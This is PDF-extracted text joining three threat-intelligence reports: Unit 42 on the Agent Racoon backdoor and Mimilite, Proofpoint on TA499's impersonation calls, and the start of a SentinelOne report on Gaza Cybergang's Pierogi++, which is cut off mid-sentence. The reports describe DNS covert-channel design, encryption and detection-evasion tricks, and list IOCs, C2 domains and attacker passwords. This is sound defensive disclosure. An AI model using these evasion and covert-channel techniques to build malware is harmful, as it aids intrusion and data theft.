+When the binary is executed, it takes the command-line argument as a decryption key to +decrypt the actual payload using a stream cipher. Before executing the decrypted payload, +the binary verifies that the payload has been successfully decrypted with the right key by +performing an integrity check. This check is done by comparing the MD5 hash of the +decrypted payload with the hard-coded value b855dfde7f778f99a3724802715a0baa, as +shown in the code snippet in Figure 6. +7/22 +Figure 6. Execution logic. +When executed properly, the tool dumps the credentials to the file path +C:\Windows\Temp\KB200812134.txt. This choice of filename is another attempt by the threat +actors to masquerade as a Microsoft update. +The Mimilite sample was found at C:\temp\update.exe with the file hash SHA256 +3490ba26a75b6fb295256d077e0dbc13e4e32f9fd4e91fb35692dbf64c923c98. It was first +uploaded to VirusTotal on 2020-05-11 05:43:00 UTC and first identified in the wild on 202102-12 21:54:35 UTC. What we find interesting is that according to VirusTotal, this sample has +been uploaded and discovered in the wild using the following path and filename: +C:\restrict\analysis\apt_sorted\attack_case\[REDACTED_LOCATION]\[REDACTED_COU +update.exe +The elements of this path might suggest that the same binary has been involved in some sort +of research that the uploader believed was linked with nation-state actors. +Agent Racoon Backdoor +8/22 +The Agent Racoon malware family is built to provide backdoor capabilities. It is written using +the .NET framework, and leverages DNS to establish a covert channel with the C2 server. +Unit 42 researchers named the malware family Agent Racoon due to some references found +within the code of the identified samples, as shown in Figure 7. +Figure 7. .NET Project details. +When executed, the threat has some predefined settings such as: +The base domain used to create the DNS covert channel +A unique key per sample, used as a seed to generate an encryption password to +encrypt the DNS communication +A fallback DNS server if no DNS server can be read from the compromised system +All the C2 domains identified fulfill the same base pattern, with unique values for the four +character identifier across different samples: +[4 characters].telemetry.[domain].com +The value of Program.dns_ip is different for each sample found, which could indicate that the +threat actor is building the binary with specific settings gathered from the targeted +environment. +9/22 +Figure 8. Main function of the malware sample. +With that pattern, the threat communicates with the C2 server by adding additional +subdomains to build the DNS query. It uses Internationalizing Domain Names for +Applications + (IDNA) domain names with Punycode encoding. This encoding type is a +representation of Unicode values over the ASCII encoding for internet hostnames. +The domain names follow the pattern below: +[random_val].a.[4 characters].telemetry.[domain].com +The screenshot from Wireshark in Figure 9 illustrates a complete DNS query: +Figure 9. Sample DNS query. +10/22 +To manage the communication with the C2 server, the malware uses a communication loop +shown in Figure 10. +Figure 10. Communication loop. +The following are some main features of the communication loop above: +The communication loop finishes when the answer xn--cc is received from the C2 +server, or a communication error occurs. +11/22 +The randomized delay between messages can have multiple reasons: +To avoid network spikes. +To avoid potential network congestion. +To provide randomness as an attempt to avoid network beaconing detection. +The encryption of all the communication messages through Program.Util.RC. +The encryption routine implements a stream cipher that takes the initial unique key per +sample Program.key (this.defaultkey), as shown in Figure 11. It then creates a 1-byte +encryption key to later encrypt the message with an XOR. +Figure 11. Stream cipher routine. +Depending on the length of the message sent to the C2 server, different subdomains are +added to the query, as shown in the code snippet in Figure 12. +12/22 +Figure 12. Partial request crafting. +The this.Rand() component of the fully qualified domain name (FQDN) build is intended to +avoid caching and ensure the request reaches out to the C2 server. +Agent Racoon provides the following backdoor functionality: +Command execution +File uploading +File downloading +Although Agent Racoon does not provide any sort of persistence mechanism by itself, during +the activity we observed, the threat was executed by using scheduled tasks. +Unit 42 researchers discovered the following samples using different subdomains of +telemetry.geoinfocdn[.]com, as shown in Figure 13. The domain geoinfocdn[.]com was +registered on 2022/08/19 UTC for one year. +13/22 +Figure 13. Samples linked with file path and base C2 domain. +Unit 42 researchers were able to track the Agent Racoon malware family back to July 2022. +Two samples of the malware family were uploaded to VirusTotal from Egypt and Thailand in +September 2022 and July 2022 with the following SHA256 hashes: +3a2d0e5e4bfd6db9c45f094a638d1f1b9d07110b9f6eb8874b75d968401ad69c +dee7321085737da53646b1f2d58838ece97c81e3f2319a29f7629d62395dbfd1 +These two samples used the same subdomain patterns, but this time the domain used for C2 +was telemetry.geostatcdn[.]com. Threat actors performed the following activities regarding +this domain on the dates shown: +Registered: 2020/08/27 UTC +First seen in the wild: 2021/06/17 23:10:58 UTC +Renewed: 2021/08/18 UTC +Expired: 2022/08/27 UTC +Figure 14 shows that with this information, two groups of malware samples can be identified +using different C2 domain names and file paths since 2020. +14/22 +Figure 14. Malware samples identified. +The threat actor tried to disguise the Agent Racoon binary as Google Update and MS +OneDrive Updater binaries. +The malware developers made small modifications to the source code in an attempt to evade +detection. Some samples used a domain hard-coded in plain text to establish the DNS covert +channel (as shown in Figure 15), whereas other samples used a Base64 encoded string. +Figure 15. Base64 encoded C2 domain. +Aside from the Base64 feature, the differences are in the settings and not in the actual +source code, except for the sample with SHA256 hash +354048e6006ec9625e3e5e3056790afe018e70da916c2c1a9cb4499f83888a47. +This sample has a compilation timestamp that was modified and is outside the time frame of +activity: 2075/02/23 08:12:59 UTC. +As shown in Figure 16, the threat actor also tried to obfuscate the constant cmd.exe to avoid +signature-based detections. They did so by using the equivalent Base64 encoded value with +the added constant 399 so the equivalent Base64 encoded string can +t be detected through +signatures. +15/22 +Figure 16. Obfuscated cmd.exe pattern. +Data Exfiltration +Unit 42 researchers also identified the collection and successful exfiltration of confidential +information, such as emails from MS Exchange environments, using PowerShell snap-ins to +dump the emails. +In the search criteria from the command above, the threat actor used similar commands to +search through different folders, mailboxes and dates to dump those emails. +After dumping the emails, the threat actor tried to compress the .pst file with a command-line +RAR tool before exfiltrating it: +However, the threat actor canceled the attempt to compress the .pst file by using the tool +taskkill.exe approximately eight minutes later. +Eventually the threat actor discarded the usage of raren.exe and simply renamed the .pst +file, moving it to the IIS root directory and mimicking an error log in a compressed file to +download it through the web server. +And finally, the ai.pst file is removed. +16/22 +This process is repeated for several mailboxes with different search criteria. +In addition to the email exfiltration, Unit 42 researchers identified exfiltration of the victim +Roaming Profile. A Roaming Profile is used to serve the same profile to the user when +logging in from different computers from the same Active Directory environment. +To exfiltrate this, the threat actor compressed the directory by using the standalone version +of the 7-Zip tool (which they dropped into the system using certutil.exe), and split the +compressed file into chunks of 100 MB. +Later, following the same procedure, the threat actor exfiltrated the content. +Conclusion +Our hope in sharing the descriptions of this tool set is that readers can use this information to +search their networks to identify other possible attacks using these tools. This tool set is not +yet associated with a specific threat actor, and not entirely limited to a single cluster or +campaign. +As mentioned at the beginning of this article, we found an overlapping Ntospy sample with +SHA256 bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df with a +previously identified threat activity cluster CL-STA-0043. However, the overlaps are not +limited to that sample. +We have also identified two compromised organizations in common across both activity +clusters. Some of the TTPs match on both clusters, such as the MS Exchange PowerShell +snap-ins and one of the Network Provider DLL modules. +17/22 +Unit 42 researchers believe this threat activity cluster aligns with medium confidence to +nation-state related threat actors for the following reasons: +The detection and defense evasion techniques used +The exfiltration activity observed +The victimology +The customization level of the tools used +The TTPs observed +Palo Alto Networks customers receive protections from the threats discussed above through +the following products: +Cortex XDR includes detections and protections related to the IoCs shared in this +research +Advanced URL Filtering and DNS Security blocks related C2 domains as malicious +The Advanced WildFire machine-learning models and analysis techniques have been +reviewed and updated in light of the IoCs shared in this research +If you think you may have been compromised or have an urgent matter, get in touch with the +Unit 42 Incident Response team or call: +North America Toll-Free: 866.486.4842 (866.4.UNIT42) +EMEA: +31.20.299.3130 +APAC: +65.6983.8730 +Japan: +81.50.1790.0200 +Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) +members. CTA members use this intelligence to rapidly deploy protections to their customers +and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat +Alliance. +MITRE ATT&CK Mapping +During the research activity related to the tool set uncovered on this blog, Unit 42 +researchers identified a set of TTPs, which we +ve mapped to the MITRE ATT&CK matrix in +the table below. +Name +T1003 +OS Credential Dumping +T1018 +Remote System Discovery +T1021.006 +Remote Services: Windows Remote Management +18/22 +T1027.009 +Obfuscated Files or Information: Embedded Payloads +T1030 +Data Transfer Size Limits +T1036.005 +Masquerading: Match Legitimate Name or Location +T1036.008 +Masquerading: Masquerade File Type +T1041 +Exfiltration Over C2 Channel +T1046 +Network Service Discovery +T1047 +Windows Management Instrumentation +T1053.005 +Scheduled Task/Job: Scheduled Task +T1059.001 +Command and Scripting Interpreter: PowerShell +T1059.003 +Command and Scripting Interpreter: Windows Command Shell +T1070.004 +Indicator Removal: File Deletion +T1070.006 +Indicator Removal: Timestomp +T1071.004 +Application Layer Protocol: DNS +T1074 +Data Staged +T1078.002 +Valid Accounts: Domain Accounts +T1087.002 +Account Discovery: Domain Account +T1112 +Modify Registry +T1114 +Email Collection +T1132.001 +Data Encoding: Standard Encoding +T1136.002 +Create Account: Domain Account +T1140 +Deobfuscate/Decode Files or Information +T1505.003 +Server Software Component: Web Shell +T1556.008 +Modify Authentication Process: Network Provider DLL +T1560.001 +Archive Collected Data: Archive via Utility +T1564.002 +Hide Artifacts: Hidden Users +T1570 +Lateral Tool Transfer +19/22 +T1573.001 +Encrypted Channel: Symmetric Cryptography +T1583.001 +Acquire Infrastructure: Domains +T1583.002 +Acquire Infrastructure: DNS Server +T1587.001 +Develop Capabilities: Malware +Indicators of Compromise +Type +2632bcd0715a7223bda1779e107087964037039e1576d2175acaf61d3759360f +SHA256 +ae989e25a50a6faa3c5c487083cdb250dde5f0ecc0c57b554ab77761bdaed996 +SHA256 +C:\Windows\Temp\install.bat +File path +c:/programdata/microsoft/~ntuserdata.msu +File path +c:/programdata/packag~1/windows 6.1-kb4537803.msu +File path +c:/programdata/package cache/windows10.0-kb5009543-x64.msu +File path +c:/programdata/package cache/windows10.0-kb5000736-x64.msu +File path +credman +Network +provider +name +HKLM\SYSTEM\CurrentControlSet\Services\credman +Registry +key path +c:\windows\system32\ntoskrnl.dll +File path +C:\Windows\Temp\ntos.dll +File path +C:\Windows\Temp\ntoskrnl.dll +File path +e30f8596f1beda8254cbe1ac7a75839f5fe6c332f45ebabff88aadbce3938a19 +SHA256 +20/22 +1a4301019bdf42e7b2df801e04066a738d184deb22afcad9542127b0a31d5cfa +SHA256 +e7682a61b6c5b0487593f880a09d6123f18f8c6da9c13ed43b43866960b7aa8e +SHA256 +58e87c0d9c9b190d1e6e44eae64e9a66de93d8de6cbd005e2562798462d05b45 +SHA256 +7eb901a6dbf41bcb2e0cdcbb67c53ab722604d6c985317cb2b479f4c4de7cf90 +SHA256 +f45ea12579f636026d29009190221864f432dbc3e26e73d8f3ab7835fa595b86 +SHA256 +bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df +SHA256 +C:\temp\update.exe +File path +1dsfjlosdf23dsfdfr +Encryptio +b855dfde7f778f99a3724802715a0baa +4351911f266eea8e62da380151a54d5c3fbbc7b08502f28d3224f689f55bffba +SHA256 +e0748ce315037253f278f7f8f2820c7dd8827a93b6d22d37dafc287c934083c4 +SHA256 +baed169ce874f6fe721e0d32128484b3048e9bf58b2c75db88d1a8b7d6bb938d +SHA256 +3a2d0e5e4bfd6db9c45f094a638d1f1b9d07110b9f6eb8874b75d968401ad69c +SHA256 +4351911f266eea8e62da380151a54d5c3fbbc7b08502f28d3224f689f55bffba +SHA256 +354048e6006ec9625e3e5e3056790afe018e70da916c2c1a9cb4499f83888a47 +SHA256 +dee7321085737da53646b1f2d58838ece97c81e3f2319a29f7629d62395dbfd1 +SHA256 +geostatcdn[.]com +Domain +telemetry.geostatcdn[.]com +Domain +fdsb.telemetry.geostatcdn[.]com +Domain +dlbh.telemetry.geostatcdn[.]com +Domain +lc3w.telemetry.geostatcdn[.]com +Domain +hfhs.telemetry.geostatcdn[.]com +Domain +geoinfocdn[.]com +Domain +telemetry.geoinfocdn[.]com +Domain +g1sw.telemetry.geoinfocdn[.]com +Domain +c:/windows/temp/onedriveupdater.exe +File path +21/22 +c:/windows/system32/msmdlb.exe +File path +c:/windows/temp/onedriveupdater.exe +File path +c:/program files (x86)/google/update/googleupdate.exe +File path +c:\windows\temp\mslb.ps1 +File path +c:\windows\temp\set_time.bat +File path +c:\windows\temp\pscan.ps1 +File path +c:\windows\temp\crs.ps1 +File path +c:\windows\temp\usr.ps1 +File path +c:\windows\temp\pb.ps1 +File path +c:\windows\temp\ebat.bat +File path +c:\windows\temp\pb1.ps1 +File path +c:\windows\temp\raren.exe +File path +aabbcc123 +Password +086a6618705223a8873448465717e288cf7cc6a3af4d9bf18ddd44df6f400488 +SHA256 +P@ssw0rd1 +Password +Assistance$ +Username +Zaqwsx123 +Password +22/22 +t Answer That! Russia-Aligned TA499 Beleaguers +Targets with Video Call Requests +proofpoint.com/us/blog/threat-insight/dont-answer-russia-aligned-ta499-beleaguers-targets-video-call-requests +March 1, 2023 +Blog +Threat Insight +t Answer That! Russia-Aligned TA499 Beleaguers Targets with Video Call Requests +March 07, 2023 Zydeca Cass and the Proofpoint Threat Research Team +Key Takeaways +TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has +aggressively engaged in email campaigns since at least 2021. +The threat actor +s campaigns attempt to convince high-profile North American and +European government officials as well as CEOs of prominent companies and celebrities +into participating in recorded phone calls or video chats. +The calls are almost certainly a pro-Russia propaganda effort designed to create +negative political content about those who have spoken out against Russian President +Vladimir Putin and, in the last year, opposed Russia +s invasion of Ukraine. +TA499 is not a threat to take lightly due to the damage such propaganda could have on +the brand and public perception of those targeted as well as the perpetuation of +disinformation. +Overview +Proofpoint researchers have been tracking malicious email campaigns by the Russia-aligned +TA499, publicly known as Vovan and Lexus, since early 2021. TA499 +s campaigns began to +ramp up in late January 2022, culminating in increasingly aggressive attempts after Russia +invaded Ukraine in late February 2022. Since that time, the threat actor has engaged in +steady activity and expanded its targeting to include prominent businesspeople and highprofile individuals that have either made large donations to Ukrainian humanitarian efforts +or those making public statements about Russian disinformation and propaganda. These +messages try to solicit information from the targeted individuals and entice them into further +contact via phone calls or remote video. The emails have not contained malware, only +communications or invitations purporting to be from an embassy of Ukraine, Ukraine +Prime Minister, a Ukrainian parliamentarian, or their assistants. +Proofpoint tracks TA499 as an impersonation-based, patriotically motivated misinformation +pair of actors aligned with the Russian state. The group has a record of targeting high-profile +persons of interest that have spoken out about the Russian regime, in favor of sanctions +1/10 +against Russia, and against the detainment of well-known Russian opposition leader Alexei +Navalny. While the level of official government support TA499 receives is unknown, the +recordings are generally used to garner support and sympathy for the current Russian regime +and their actions. +Critiques of Putin, Russia Spur TA499 Action in 2022 +TA499 +s email campaigns kicked into high gear as tensions built between Russia and Ukraine +and has not abated since Russia invaded Ukraine in February 2022. +Figure 1. Timeline of TA499 activity in 2022. +Since late-January 2022, the threat actor has largely focused its email attempts on +scheduling a video or phone call meeting with high-profile North American or European +government officials and CEOs of prominent companies. In a shift from their 2021 activity, +these campaigns have almost exclusively centered on topics relating to the Russia-Ukraine +war. Even after TA499 expanded its victimology in March 2022 to include public figures not +in government positions, such as businesspeople and celebrities, the threat actor kept with +these same social engineering themed lures. +Only in the latter half of 2022 did TA499 begin to reincorporate some of its pre-war themes +and email addresses, but those continue to be a fraction of their overall activity. +Early 2022: TA499 +s initial 2022 campaigns used the same actor-controlled domain +(oleksandrmerezhko[.]com) and sender address (office@oleksandrmerezhko[.]com) as its +2021 campaigns, and directly targeted individuals that had spoken out regarding: +Bill to Arm Ukraine against Russia +2/10 +Support of Sanctions on the Nord Stream II Pipeline +Bombing of Russian military assets and other military actions +By March 2022, amid a backdrop of condemnation by the international community of +Russian President Vladimir Putin +s actions in Ukraine and instatement of sanctions, TA499 +adopted new personality impersonations. Most notably, the threat actor began to +masquerade as the Ukrainian Prime Minister Denys Shmyhal and his purported assistant. To +make the emails convincing in their legitimacy, the sender addresses leveraged the popular +internet service and email provider Ukr.net and pretended to be from either +the Embassy of +Ukraine to the US + or +the Embassy of Ukraine in the US: + embassy.usa@ukr[.]net and +embassy.us@ukr[.]net. The subjects focused on Ukrainian officials making requests of the +targets, such as: +Ukrainian Parliament + [Target Name]. Request +Prime Minister of Ukraine. Request +Ukrainian Parliament + [Target Name] +Embassy of Ukraine - CEO [Target Name]. Request +As seen in Figure 2, Proofpoint researchers identified and tracked this new activity through +TA499 +s preference for including their new sender addresses in the TO: or CC: lines of email +campaigns leveraging older addresses. It is important to note that the threat actor cycles +through its addresses. While one may appear to have gone dormant, it could return in future +TA499 campaigns. +3/10 +Figure 2. Proofpoint attributed email addresses to TA499. The threat actor primarily used +the first four in 2021 and the last two in its 2022 campaigns; however, TA499 started to +leverage its Navalny and Merezhko email addresses again in late 2022. +According to open-source reporting, in addition to the Proofpoint-identified campaigns, the +Shmyhal personality was used to target two UK cabinet members as well. Given the +similarities in tactics, Proofpoint researchers assess with high confidence that this was the +work of TA499. +Mid-2022: By mid-2022, TA499 started to explore using an additional embassy-themed +email address (embassy.chernysh@ukr[.]net) and even utilized an actor-controlled +International Atomic Energy Agency (IAEA)-themed domain (office@iaea[.]co[.]uk) to send +emails with a subject line of +URGENT: IAEA Director General + to international aides and +assistance of senior government officials. The timing of this activity aligned with a public +statement by the IAEA Director General about the urgent situation at Ukraine +s Zaporizhzhia +nuclear power plant. It is likely that the international attention surrounding the state of the +power plant inspired TA499 +s decision to use an IAEA lure. +A Return to Early TA499 Themes +4/10 +Through the rest of 2022, TA499 integrated email addresses not observed in Proofpoint data +since at least March 2022, including those pretending to be Oleksandr Merezhko, a +Ukrainian Member of Parliament (MP) and Vice President of the Parliamentary Assembly of +the Council of Europe (PACE), and Leonid Volkov, the Chief of Staff for Russian opposition +leader Alexei Navalny (noted in Figure 2). +Figure 3. In late 2022, TA499 again posed as Merezhko and used email address +office@oleksandrmerezhko[.]com. This address was dormant between March 2022 and +September 2022. +Navalny has long been a focus for TA499 campaigns with the threat actor targeting +individuals with an interest in and publicly positive stances on the oppositionist since early +2021. Timeline analysis and Proofpoint telemetry have revealed targeting of individuals +explicitly involved in the statements condemning the arrest of Navalny on February 2nd, +2021, and the reintroduction of the Holding Russia Accountable for Malign Activities Act of +2021 on February 3rd, 2021. As seen in the sample email in Figure 4, TA499 has repeatedly +used social engineering with a focus on directing conversation to easily recorded meetings +and subject lines such as: +Request. Vice-President of the Parliamentary Assembly of the Council of Europe +(PACE) +5/10 +[redacted] - Russian opposition leader Alexei Navalny's team +Russian opposition leader Alexei Navalny's team + [redacted] +Alexei Navalny's Chief of Staff - [redacted]. Request +Re: Meeting with Mr Volkov +Figure 4. A 2021 email message posing as Leonid Volkov, Alexei Navalny +s Chief of Staff. +The World is Watching +On YouTube (or RUTUBE) +TA499 posts recordings of its video calls on YouTube and RUTUBE. One of the threat actor +YouTube channels was taken down early in the Russia-Ukraine war, forcing TA499 to revert +to using one of its older YouTube channels for posting. +For high-profile targets that agree to follow-up video calls, TA499 has pretended to be +various people, going so far as to use extensive makeup to appear exactly like the +impersonated individual. They have masqueraded as the Prime Minister of Ukraine, Denys +Shmyhal, and Oleksandr Merezhko. Video calls recorded in 2021 show TA499 impersonating +Leonid Volkov as well. Open-source reporting has detailed the use of Deepfake Artificial +Intelligence software to explain how TA499 takes on Volkov +s appearance, and possibly that +of others, though the malicious actor denies the use of the software. The actor does not +appear to be using any voice modulation, primarily focusing on the targets + lack of familiarity +with the contact and the element of surprise. +6/10 +Figure 5. Screenshot (left) from TA499 +s first episode of + or +Deepfake +Show, + where Lexus impersonates Leonid Volkov, and picture of the real Volkov (right) for +comparison. +Conversations with TA499 typically begin serious and allow the target to voluntarily say as +much information as possible. Once the target begins asking questions, the actor mirrors the +target +s replies to keep the conversation going. Some of the 2021 videos with the threat actor +have the Leonid Volkov impersonator asking for financial support and appear to encourage +the target into voicing particular obligations and efforts in tandem with the Russian +opposition led by Navalny. Once the target makes a statement on the matter, the video +devolves into antics, attempting to catch the target in embarrassing comments or acts. The +recordings are then edited for emphasis and placed on YouTube and Twitter for Russian and +English-speaking audiences. +7/10 +Figure 6. TA499 posted a +video call + with fugitive Kazakh oligarch Mukhtar Ablyazov on +the threat actor +s YouTube channel, which has since been taken down. +Conclusion +TA499 is a very public group that is garnering a fan following. They have personas that not +only post the material discussed in this report online but also perform reenactments on +Russia state-sponsored media as well as attend conferences. With the war between Russia +and Ukraine unlikely to end in the near-term and Ukraine continuing to garner support from +organizations worldwide, Proofpoint assesses with high confidence that TA499 will attempt +to continue with its campaigns in support of its influencer content and political agenda. +TA499 is likely to reuse old or establish additional infrastructure in support of this activity. +Being a target of this group is gradually becoming more common. While the primary +targeting of TA499 remains the C-level or the highest profile positions possible at any given +entity, Proofpoint recommends that anyone who suspects they might be a target of TA499 +take care in verifying the identities of those inviting them to conduct business or discuss +8/10 +political topics over video conferencing. In particular, if high-profile individuals reach out +suddenly via email and without prior introduction through a known and verified source, you +should proceed with caution. +Check out the latest podcast episode on DISCARDED, Prank or Propaganda? TA499 Pesters +Politics. Listen now on our website, Apple Podcasts, Spotify, Google Podcasts or wherever +you get podcasts. +Indicators of Compromise (IOCs) +Indicator +Type +Description +office@oleksandrmerezhko[.]com +Sender address +2022 campaigns +secretary.mfa@gmail[.]com +Sender address +2022 campaigns +embassy.usa@ukr[.]net +Sender address +2022 campaigns +embassy.us@ukr[.]net +Sender address +2022 campaigns +s.dorenko@ukr[.]net +Sender address +2022 campaigns +embassy.chernysh@ukr[.]net +Sender address +2022 campaigns +office@iaea[.]co[.]uk +Sender address +2022 campaign +iaea[.]com[.]uk +Domain +2022 campaign +oleksandrmerezhko[.]com +Domain +2021 & 2022 campaigns +navalny[.]team +Domain +2021 campaigns +office@oleksandrmerezhko[.]com +Sender address +2021 & 2022 campaigns +lvolkov@navalny[.]team +Sender address +2021 campaigns +julia@navalny[.]team +Sender address +2021 campaigns +9/10 +10/10 +Gaza Cybergang | Unified Front Targeting Hamas +Opposition +sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition +Aleksandar Milenkoski +Executive Summary +Overlaps in targeting, malware characteristics, and long-term malware evolutions post +2018 suggest that the Gaza Cybergang sub-groups have likely been consolidating, +possibly involving the establishment of internal and/or external malware supply lines. +Gaza Cybergang has upgraded its malware arsenal with a backdoor that we track as +Pierogi++, first used in 2022 and seen throughout 2023. +Recent Gaza Cybergang activities show consistent targeting of Palestinian entities, +with no observed significant changes in dynamics since the start of the Israel-Hamas +war. +SentinelLabs + analysis reinforces the suspected ties between Gaza Cybergang and +WIRTE, historically considered a distinct cluster with loose relations to the Gaza +Cybergang. +Overview +Active since at least 2012, Gaza Cybergang is a suspected Hamas-aligned cluster whose +operations are primarily targeting Palestinian entities and Israel, focusing on intelligence +collection and espionage. Being a threat actor of interest in the context of the Israel-Hamas +war, we track Gaza Cybergang as a group composed of several adjacent sub-groups +observed to share victims, TTPs, and use related malware strains since 2018. These include +Gaza Cybergang Group 1 (Molerats), Gaza Cybergang Group 2 (Arid Viper, Desert Falcons, +APT-C-23), and Gaza Cybergang Group 3 (the group behind Operation Parliament). +The goal of this post is twofold: +To highlight relations between recent and historical operations, providing a new +common context connecting the Gaza Cybergang sub-groups. +To provide recent findings and previously unreported IOCs, which add to the +accumulated knowledge of the group and support further collective tracking of Gaza +Cybergang activities. +In the midst of Gaza Cybergang activity spanning from late 2022 until late 2023, we +observed that the group introduced a new backdoor to their malware arsenal used in +targeting primarily Palestinian entities. We track this backdoor as Pierogi++. We assess that +1/14 +Pierogi++ is based on an older malware strain named Pierogi, first observed in 2019. We +also observed consistent targeting of Palestinian entities in this time period using the group +staple Micropsia family malware and Pierogi++. +This targeting is typical for Gaza Cybergang. These activities are likely aligned with the +tensions between the Hamas and Fatah factions, whose reconciliation attempts had been +stagnating before and after the outbreak of the Israel +Hamas war. At the time of writing, our +visibility into Gaza Cybergang +s activities after the onset of the conflict does not point to +significant changes in their intensity or characteristics. +Our analysis of recent and historical malware used in Gaza Cybergang operations highlights +new relations between activities that have taken place years apart + the Big Bang campaign +(2018) and Operation Bearded Barbie (2022). Further, technical indicators we observed, +originating from a recently reported activity, reinforce a suspected relation between Gaza +Cybergang and the lesser-known threat group WIRTE. This group has historically been +considered a distinct cluster and then associated with low confidence with the Gaza +Cybergang. This demonstrates the intertwined nature of the Gaza Cybergang cluster making +the accurate delineation between its constituent and even other suspected Middle Eastern +groups challenging. +Throughout our analysis of Gaza Cybergang activities spanning from 2018 until present date +we observed consistent malware evolution over relatively long time periods. This ranges +from minor changes in used obfuscation techniques, to adopting new development +paradigms, and resurfacing old malware strains in the form of new ones (as Pierogi++ +demonstrates). In addition, the observed overlaps in targeting and malware similarities +across the Gaza Cybergang sub-groups after 2018 suggests that the group has likely been +undergoing a consolidation process. This possibly includes the formation of an internal +malware development and maintenance hub and/or streamlining supply from external +vendors. +Micropsia and Pierogi++ Target Hamas Opposition +The Gaza Cybergang umbrella has continuously targeted Israeli and Palestinian entities +preceding the Israel-Hamas war. We observed additional activities spanning from late 2021 +to late 2023 aligned with previous research. Our visibility into these activities, and the theme +and language of the used lure and decoy documents, indicate that they were primarily +targeting Palestinian entities. The majority involved malware variants of the staple Micropsia +family. +Among the Micropsia family malware, we observed its Delphi and Python-based variants +deploying decoy documents written in Arabic and focussing on Palestinian matters, such as +the Palestinian cultural heritage and political events. Many of the associated C2 domain +names, such as bruce-ess[.]com and wayne-lashley[.]com, reference public figures, +2/14 +which aligns with the known domain naming conventions of the group. To support further +collective tracking of Gaza Cybergang activities, we focus at the end of the report on listing +previously unreported Micropsia indicators. +Decoy document +Among the Micropsia activities we identified a backdoor that we assess is based on a +malware first reported in 2020 and named Pierogi. This backdoor, which we labeled +Pierogi++, is implemented in C++, and we observed its use in 2022 and over 2023. The +malware is typically delivered through archive files or weaponized Office documents on +Palestinian matters, written in English or Arabic. +3/14 +Malicious documents distributing Pierogi++ +The documents distributing Pierogi++ use macros to deploy the malware, which then +typically masquerades as a Windows artifact, such as a scheduled task or a utility +application. The malware implementation is embedded either in the macros or in the +documents themselves, often in Base64-encoded form. +4/14 +Office macro deploying Pierogi++ +Pierogi++ executables also masquerade as politically-themed documents, with names such +The national role of the revolutionary and national councils in confronting the plans for +liquidation and Judaization +The situation of Palestinian refugees in Syria refugees in +Syria +, and +The Ministry of State for Wall and Settlement Affairs established by the +Palestinian government +We assess that Pierogi++ is based on the Pierogi backdoor, whose variants are implemented +in Delphi and Pascal. Pierogi and Pierogi++ share similarities in code and functionalities, +such as strings, reconnaissance techniques, and deployment of decoy documents, some +also seen in Micropsia malware. +5/14 +String indicating that no anti-virus solution has been detected: Pierogi++ (Tm9BVg== +decodes to NoAV) +Micropsia +Further, Pierogi++ samples implement in the same order the same backdoor functionalities +as Pierogi: taking screenshots, command execution, and downloading attacker-provided +files. +When handling backdoor commands, some Pierogi++ samples use the strings download and +screen, whereas earlier Pierogi samples have used the Ukrainian strings vydalyty, +Zavantazhyty, and Ekspertyza. This raised suspicions at the time of potential external +involvement in Pierogi +s development. We have not observed indicators pointing to such +involvement in the Pierogi++ samples we analyzed. +6/14 +Pierogi++ backdoor strings +Most of the Pierogi++ C2 servers are registered at Namecheap and hosted by Stark +Industries Solutions LTD, aligning with previous infrastructure management practices of the +Gaza Cybergang umbrella. The backdoor uses the curl library for exchanging data with the +C2 server, a technique that we do not often observe in Gaza Cybergang +s malware arsenal. +Use of the curl library +Pierogi++ represents a compelling illustration of the continuous investment in maintenance +and innovation of Gaza Cybergang +s malware, likely in an attempt to enhance its capabilities +and evade detection based on known malware characteristics. +From Molerats to Arid Viper And Beyond +7/14 +Following the first report on the Pierogi backdoor in February 2020, late 2020 and 2021 mark +the association of the backdoor and its infrastructure with Arid Viper. The Micropsia activity +linked to Arid Viper, which led to the discovery of the then-new PyMicropsia malware in +December 2020, includes Pierogi samples. Further historical Pierogi samples use the +escanor[.]live and nicoledotso[.]icu domains for C2 purposes, which have been +associated with Arid Viper in December 2020 and April 2021. The latest variant of Pierogi is +Pierogi++, which we observed targeting Palestinian entities in 2022 and over 2023 + this +targeting is typical for Arid Viper. +Our investigations into malware used by Gaza Cybergang prior to 2022, which share +capabilities, structure, and infrastructure with Pierogi, resulted in a multitude of samples +implemented in Delphi, Pascal, and C++. This highlights the frequent adoption of different +development paradigms by Gaza Cybergang and aligns with the observations by Facebook, +which associates these variants with Arid Viper and tracks them using different names under +the broader Micropsia malware family, such as Glasswire, Primewire, and fgref. +Malware attributions +8/14 +In late 2020, victims targeted with Pierogi variants as part of a suspected Arid Viper +operation were observed to be also infected with the then-new SharpStage and DropBook +malware, an overlap assessed to strengthen the ties between the Molerats and Arid Viper +Gaza Cybergang sub-groups. +Later in June 2021, the LastConn malware, which has been discovered as part of activities +attributed to the TA402 cluster, was assessed with high confidence to be an updated version +of SharpStage. +Based on our followup investigation into recent 2023 TA402 activity targeting Middle Eastern +government entities, we highlight concrete overlaps in malware used by TA402 and a lesserknown threat actor named WIRTE. First disclosed in April 2019, WIRTE was initially +considered to be a distinct cluster but later associated with low confidence to the Gaza +Cybergang umbrella (primarily based on the use of decoys on Palestinian matters, which are +typical for the Gaza Cybergang constituent sub-groups). +WIRTE is known for using a unique custom user agent for C2 communication when staging +malware, with the value of the rv field likely being an intrusion identifier. WIRTE +s stagers +encapsulate C2 communication attempts in an infinite loop, separated by sleep periods of +randomly generated lengths within defined lower and upper boundaries. We observe the +same unique user agent format and C2 communication pattern in TA402 +s .NET malware +stagers. +User agent and C2 communication in 2020 WIRTE malware +9/14 +User agent and C2 communication in 2022 TA401 malware +The involvement of malware artifacts previously seen only in the context of WIRTE indicates +a likely relation between the TA402, WIRTE, and Gaza Cybergang clusters. This aligns with +the latest TA402 attribution assessment as a cluster overlapping with Gaza Cybergang and +WIRTE. +Back To The Big Bang +Operation Bearded Barbie, revealed in April 2022 and attributed with moderate-high +confidence to Arid Viper, is a campaign that has been targeting Israeli individuals and +officials in the law enforcement, military, and emergency services sectors. The operation +highlights the BarbWire backdoor as a novel malware in Arid Viper +s arsenal. +A closer look at the implementation of the BarbWire variants observed as part of Operation +Bearded Barbie reveal relations to a malware strain used as part of the 2018 Big Bang +campaign, which was considered an evolution of a 2017 campaign targeting 